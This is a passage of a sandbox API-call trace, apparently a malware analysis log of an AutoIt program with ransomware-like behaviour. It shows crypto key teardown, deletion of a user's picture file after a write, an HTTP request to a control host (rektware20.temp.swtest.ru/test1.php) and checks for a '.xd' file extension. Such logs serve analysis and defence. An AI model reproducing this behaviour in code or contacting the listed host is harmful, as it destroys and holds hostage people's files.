wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.900] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.900] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.900] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.900] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.900] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.900] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.901] WriteFile (in: hFile=0x2ac, lpBuffer=0x17c29b8*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17c29b8*, lpNumberOfBytesWritten=0x130f01c*=0x3bd0, lpOverlapped=0x0) returned 1 [0062.902] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.902] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.902] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0062.902] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.902] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0062.902] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0062.902] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0062.902] CryptDestroyKey (hKey=0x164c430) returned 1 [0062.902] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.902] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.903] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.903] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.903] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.903] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.903] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.903] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.903] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.903] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0062.903] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.903] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.903] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.903] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.903] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.903] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.903] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.903] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.903] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.903] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.903] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.903] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.904] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.904] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.904] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.904] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0062.904] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0062.904] CryptReleaseContext (hProv=0x17aabc0, dwFlags=0x0) returned 1 [0062.904] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.904] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.904] FreeLibrary (hLibModule=0x74c60000) returned 1 [0062.904] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.905] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.905] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.905] CloseHandle (hObject=0x3bc) returned 1 [0062.906] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.906] CloseHandle (hObject=0x2ac) returned 1 [0062.954] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.954] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.954] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", lpFilePart=0x0) returned 0x37 [0062.954] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\g0aqngmf.gif")) returned 0x20 [0062.955] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0062.955] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\g0aqngmf.gif")) returned 1 [0062.956] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0062.957] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0062.957] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.957] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.957] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.957] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.957] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0062.957] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0062.957] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.957] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0062.957] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.957] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0062.957] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0062.957] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ef8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ef8, lpdwBufferLength=0x130ef8c) returned 1 [0062.958] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.958] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.958] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.958] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0062.958] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0062.958] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0062.958] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0062.959] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0062.959] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.959] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.959] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.959] CloseHandle (hObject=0x0) returned 0 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ntspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tspZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="spZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pZkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Zkb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="co QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QmFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mFe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Fe4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UhZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hZ_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Z_JJ.png", cchCount1=3, lpString2=".xd", 